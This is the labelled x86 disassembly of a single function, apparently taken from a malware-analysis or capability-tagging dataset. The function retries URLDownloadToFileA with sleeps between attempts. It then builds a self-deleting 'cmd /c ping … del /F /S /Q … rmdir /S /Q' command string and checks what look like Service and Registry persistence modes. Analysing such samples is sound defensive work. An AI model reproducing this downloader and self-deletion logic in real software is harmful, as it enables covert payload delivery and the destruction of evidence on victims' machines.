Function at 0x41f763
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [0x661ec2], 1
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0xc], eax
mov eax, str.HtUp
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
mov eax, 0x4764b1
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
mov eax, 0x451631
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.0041fb29
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41f7e1
push ebx
call fcn.00426cbf
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41f7f1
push ebx
call fcn.00426cbf
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41f801
push ebx
call fcn.00426cbf
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41f811
push ebx
call fcn.00426cbf
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41f826
jmp 0x41f868
cmp dword [ebp - 8], 5
jne 0x41f835
jmp 0x41f868
mov dword [ebp - 0xc], esp
push 0x3e8
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f863
push 0x17b
push 0x4010a8c
push 6
call fcn.00426cc5
add esp, 0xc
jmp 0x41f784
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 1
je 0x41f9b3
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f8a7
push 0x28d
push 0x4010a8c
push 6
call fcn.00426cc5
add esp, 0xc
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
push 0
push dword [ebp - 0xc]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
xor eax, eax
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x41f901
push 0x300
push 0x4010a8c
push 6
call fcn.00426cc5
add esp, 0xc
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41f914
push ebx
call fcn.00426cbf
add esp, 4
cmp dword [ebp - 0x14], 0
jne 0x41f92a
mov dword [ebp - 4], 1
jmp 0x41f931
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f95f
push 0x38f
push 0x4010a8c
push 6
call fcn.00426cc5
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 4], 0
je 0x41f971
jmp 0x41f9b3
cmp dword [ebp - 8], 5
jne 0x41f980
jmp 0x41f9b3
mov dword [ebp - 0xc], esp
push 0x3e8
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41f9ae
push 0x4ac
push 0x4010a8c
push 6
call fcn.00426cc5
add esp, 0xc
jmp 0x41f879
cmp dword [ebp - 4], 0
je 0x41fb19
push 0
mov ebx, 0x104
call fcn.00427340
add esp, 4
mov dword [ebp - 0xc], eax
push 0
mov ebx, pe_nt_image_headers32
call fcn.004273d0
add esp, 4
mov dword [ebp - 0x10], eax
push 0
mov ebx, 0x104
call fcn.00427340
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push 0x4764b5
push dword [ebp - 0x14]
push str.__rmdir__S__Q
push dword [ebp - 0x10]
push 0x451318
push dword [ebp - 0xc]
push str.cmd__c_ping_127.0.0.1__n_30__del__F__S__Q
mov ecx, 9
call fcn.00401108
add esp, 0x24
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41fa43
push ebx
call fcn.00426cbf
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41fa53
push ebx
call fcn.00426cbf
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41fa63
push ebx
call fcn.00426cbf
add esp, 4
push 0x80000301
push 0
push 1
push closesocket
push 0
push 0
push 0x80000004
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x41fa8e
mov eax, 0x45131a
push eax
push 3
mov ebx, 0x2c0
call fcn.00427480
add esp, 0x28
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41fab1
push ebx
call fcn.00426cbf
add esp, 4
push str.Service
push dword [0x661e6e]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x41fad7
push 0x661e06
call fcn.004207d9
push str.Registry
push dword [0x661e6e]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x41faf8
call fcn.00410c32
push str.Null
push dword [0x661e6e]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x41fb19
call fcn.00410c32
mov dword [0x661ec2], 0
mov esp, ebp
pop ebp
ret 0xc